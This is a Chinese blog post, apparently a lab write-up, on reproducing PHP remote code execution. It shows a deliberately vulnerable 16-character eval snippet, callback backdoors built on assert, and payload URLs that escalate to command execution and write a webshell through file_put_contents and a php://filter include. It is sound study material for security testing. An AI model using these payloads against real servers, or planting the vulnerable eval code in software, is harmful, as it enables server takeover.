RCE复现问题和研究

news2024/9/23 7:27:48

目录

先了解一些常见的知识点

PHP常见命令执行函数

call_user_func

eval()

call_user_func_array

array_filter

实战演练(RCE)PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell?

1、长度限制16 位 (代码执行)

2、foo.php?1=file_put_contents¶m=$_GET[1](N,P,8);

N P 8  include 是什么意思

3、usort(...$_GET);


先了解一些常见的知识点

PHP常见命令执行函数

shell_exec、exec、passthru、system、proc_open、popen

PHP回调后门

call_user_func

call_user_func、把第一个参数作为回调函数使用 把第二个传递这个函数里的参数

eval()

eval 动态执行的方法

我们尝试用 call_user_func('assert',$_REQUEST['pass']);

连接 连接失败

        

但我们加一个eval 就可以连接成功

        

call_user_func_array

call_user_func_array('assert',$_REQUEST['pass']); 第二个函数接受需要一个数组

如果控制两个参数,就可以让代码执行,变成命令执行

array_filter

array_filter 将回调函数base64编码 

实战演练(RCE)PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell?

1、长度限制16 位 (代码执行)

<?php
$param = $_REQUEST['param'];  If (
strlen($param) < 17 &&  stripos($param, 'eval') === false &&  stripos($param, 'assert') === false
) {
eval($param);
}

将文件写入nginx html目录下

我们来执行下phpinfo 必须带;因为eval需要()

        很显然执行了 说明有效

http://192.168.111.130/web.php?param=echo%20`$_GET[1]`;&1=id

eval 需要echo来将数据导出(代码执行改变成了命令执行)

2、foo.php?1=file_put_contents&param=$_GET[1](N,P,8);

温馨提示 必须是www-data 用户组  这样可以创建文件 root权限不够

这是file_put_contents php的官方文档的说明

N P 8  include 是什么意思

N 是指定文件名

P是一句话木马

8 是追加 (FILE_APPEND)是一样的 字符只能16位所以我们用 8

include 会将所有传进来的都当成php代码

正好是一句话木马

为什么要将编码后的写入文件呢 是因为这个函数不支持<>这些字符

执行来验证

将所有追加进去 我这里不一一展示了

web.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

这样就可以执行了

3、usort(...$_GET);

php可变长参数是`...`

首先我们将php调制成5.6版本 方便我们测试漏洞

update-alternatives --config php

http://192.168.111.130/web.php?1[]=test&1[]=phpinfo();&2=assert

这样就获取phpinfo了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2038837.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【智能控制】第九,十章 一阶和二阶系统神经网络控制,输出受限系统和输入受限系统的神经网络控制(北京航天航空大学)

目录 一阶系统神经网络控制 1. 系统描述 2. 滑模控制器设计(f(x)已知) 3. 自适应神经网络控制(f(x)未知) 4. 仿真结果 二阶系统神经网络控制 1. 系统描述 2. 神经网络控制器​编辑​编辑​编辑​编辑​编辑 3. 仿真结果 输出受限系统的神经网络控制 1. 问题描述 2.…

认识一下测试策略与测试方案

目录 测试方案 测试策略 测试策略的内容主要包括 测试技术和工具 测试启动、停止和完成标准 风险分析和应对方案 测试范围 测试角色和职责 测试方法和类型 测试工具 测试层级 测试指标 测试可交付成果 测试方案的内容包括 测试目标 测试范围 测试环境 测试策略…

Linux云计算 |【第二阶段】OPERATION-DAY2

主要内容&#xff1a; 部署LNMP架构&#xff08;linux、Nginx、MariaDB、PHP&#xff09;、NginxFastCGI动静分离、Nginx地址重写 环境准备&#xff1a;还原配置文件 [rootproxy ~]# cd /usr/local/nginx/ [rootproxy nginx]# sbin/nginx [rootproxy nginx]# cp conf/nginx.c…

服务器CPU天梯图2024年8月,含EYPC/至强及E3/E5

原文地址&#xff08;高清无水印原图/持续更新/含榜单出处链接&#xff09;&#xff1a; >>>服务器CPU天梯图<<< 本文提供的服务器CPU天梯图数据均采集自各大专业网站&#xff0c;榜单图片末尾会标准其来源&#xff08;挂太多链接有概率会被ban&#xff0c;…

2024杭电多校3——1007单峰数列

补题链接 一道数据结构体&#xff0c;差分线段树&#xff0c;我从没有看见过的全新版本&#xff0c;不过据说挺常见的。线段树维护题目里询问的东西&#xff0c;是否一样&#xff0c;单调还有单峰&#xff0c;小细节挺多的。建线段树开始是从2开始的&#xff0c;因为差分的第一…

Java:实现杨辉三角

目录 思路 完整代码 思路 可以把杨辉三角看作是一个直角三角形&#xff0c;这样可以方便进行输出 以直角三角形中 i行j列 的3 为例&#xff0c;我们可以推出: [ i ] [ j ] [ i -1] [ j ] [ i - 1] [ j -1] 。 同时&#xff0c;杨辉三角也可以看作是一个二维数组&#x…

Tomcat服务器和Web项目的部署

目录 一、概述和作用 二、安装 1.进入官网 2.Download下面选择想要下载的版本 3.点击Which version查看版本所需要的JRE版本 4.返回上一页下载和电脑和操作系统匹配的Tomcat 5. 安装完成后&#xff0c;点击bin目录下的startup.bat&#xff08;linux系统下就运行startup.sh&…

Midjourney技巧-生成拟人化动物(做你的品牌形象代言人)

​ 前言/introduction 如何用Midjourney生成这种时尚潮流的动物拟人图片&#xff1f; 用来做你的品牌形象代言人也是不赖&#xff01; ​ 关键词/personify 生成这种动物拟人化的图片其实主要在关键词-拟人化personify 比如&#xff0c;一只拟人化的老鼠/An anthropomorphic…

惊!北京三害、上海四毒、广东五虎,谁才是互联网界的“拼命三郎”?

在互联网江湖中&#xff0c;流传着这样一份神秘的“工作强度排名”&#xff0c;它们以地域为划分&#xff0c;将那些被公认为加班狂魔的互联网大厂归为了“北京三害”、“上海四毒”和“广东五虎”。 这份名单一出&#xff0c;让人不禁哑然失笑&#xff0c;同时也让人深思&…

【系统架构设计】计算机网络

【系统架构设计】计算机网络 网络架构与协议网络互联模型OSI/RM 结构模型TCP/IP结构模型IPv6 局域网与广域网局域网特点 网络互连与常用设备网络互联设备交换技术路由技术 网络存储技术 网络架构与协议 网络互联模型 OSI/RM 结构模型 1977年&#xff0c;国际标准化组织为适应…

framebuffer屏幕显示接口(linux)

framebuffer &#xff1a; 帧缓存、帧缓冲技术 Linux内核为应用提供的一套显示相关接口 流程&#xff1a; 1. 打开显示设备&#xff08;/dev/fb0&#xff09; 2. 获取显示设备相关参数 3. 建立内存映射 4. 写入RGB颜色值 5. 解除映射 6. 关闭显示…

【深度学习】什么是自回归模型?

文章目录 自回归模型的数学表达自回归模型的特点示例自回归模型在机器学习中的应用总结扩散模型与自回归模型的区别扩散模型在TTS(文本转语音)中的应用总结自回归模型(Autoregressive Model, AR Model)是一种用于时间序列分析和生成的统计模型。它的核心思想是预测变量(通…

Java:成员内部类

文章目录 匿名内部类代码讲解new 类new接口 特点&#xff1a;作用&#xff1a;在开发中的应用场景&#xff1a; 成员内部类&#xff08;了解&#xff09;静态内部类&#xff08;了解&#xff09;局部内部类&#xff08;了解&#xff09; 匿名内部类 一种特殊的局部内部类&…

绘唐科技为什么是全网最强AI推文应用

绘唐科技之所以被称为全网最强AI推文应用&#xff0c;主要有以下几个原因&#xff1a; 绘唐AIGC阿祖https://qvfbz6lhqnd.feishu.cn/wiki/D3YLwmIzmivZ7BkDij6coVcbn7W 先进的AI技术&#xff1a;绘唐科技采用了最先进的自然语言处理和机器学习算法&#xff0c;能够快速准确地生…

掌握高可用核心:Keepalived 铸就坚不可摧的集群防线

目录 一.初识keepalived 二.VRRP工作模式 1.三种状态 2.选举机制 三.Keepalived 架构 四. Keepalived环境准备 五.KeepAlived 配置说明 1.配置文件组成部分 2.配置语法说明&#xff1a;全局配置 3.配置虚拟路由器 4.启用keepalived日志功能 5.实现独立子配置文件 六…

8月报名 | 海克斯康-MSC设计与仿真行业研讨会深圳站

您好&#xff01;感谢您长期以来对优飞迪科技与海克斯康的关注与支持。我们诚邀您参加8月23日的海克斯康-MSC设计与仿真行业研讨会深圳站活动&#xff0c;本次会议主要就目前大家所关注的电子热流体、电子电器噪声等热点仿真问题展开讨论&#xff0c;为大家提供工程实际问题的解…

BCNet

bilateral boundary extraction module (BBEM)&#xff0c;receptive field block (RFB). attention-driven cross-layer feature interaction modules (ACFIMs)&#xff0c;global feature integration modules (GFIMs) global max pooling (GMP) 作者未提供代码

input系统之InputReader

1.InputReader启动 InputReader和InputDispatcher是IMS中的两个重要的线程&#xff0c;InputReader主要负责从Eventhub获取事件&#xff0c;然后将事件进行处理&#xff0c;并将封装好的EventEntry事件交给InputDispatcher的去进行分发&#xff1b;InputDispatcher主要负责将输…

LeetCode 热题 HOT 100 (025/100)【宇宙最简单版】

【二叉树】No. 0124 二叉树中的最大路径和 【困难】&#x1f449;力扣对应题目指路 希望对你有帮助呀&#xff01;&#xff01;&#x1f49c;&#x1f49c; 如有更好理解的思路&#xff0c;欢迎大家留言补充 ~ 一起加油叭 &#x1f4a6; 欢迎关注、订阅专栏 【力扣详解】谢谢你…

12.C基础_字符串相关函数

字符串长度strlen 头文件 #include <string.h> 函数声明 size_t strlen(const char *s); 返回值&#xff1a;long型的字符串长度 s&#xff1a;要计算长度的字符串&#xff0c;必须以 \0 结尾 注意&#xff1a;strlen计算的长度是以 \0 为结尾&#xff0c;而sizeo…